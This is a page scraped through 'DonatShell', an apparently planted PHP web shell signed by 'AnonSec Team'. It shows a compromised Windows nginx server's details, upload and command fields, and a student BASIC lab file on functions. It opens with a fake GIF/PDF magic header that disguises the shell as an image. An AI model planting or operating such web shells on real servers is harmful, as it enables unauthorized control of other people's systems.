GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.03.07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.03.07/Lab10.bas
' StudentNameGoesHere
' StudentNameGoesHere
' Lab10

' 1. Initialize myNumber to 2
myNumber = 2
' 2. Call myFunction three times sending it the following values.
'    Assign the return value of myFunction to myNumber (IE. myNumber=myFunction(stringbelow,myNumber)).
'    "This is the first call of myFunction", myNumber
'    "This is the second call of myFunction", myNumber
'    "This is the third call of myFunction", myNumber
myNumber = myFunction("This is the first call of myFunction", myNumber)
myNumber = myFunction("This is the second call of myFunction", myNumber)
myNumber = myFunction("This is the third call of myFunction", myNumber)
' 3. After the function calls above, add the folowing statements:
'
     print
     print "At the end of the program, the value of myNumber is now ";myNumber;"."
'
'   NOTE: If everything is working correctly, the value of myNumber should now be 256.

' 4. Write a function called myFunction. This function should take two arguments: a string, and a number.
'    The function should contain the following statements:
'
function myFunction(functionString$,functionNumber)
     Print functionString$
     myFunction = functionNumber*functionNumber
     print functionNumber;" squared is ";myFunction
end function
'
'   NOTE: The variable names functionString$ and functionNumber in the three statements above
'         should be replaced with the variable names you used in your FUNCTION statement.

Anon7 - 2022
AnonSec Team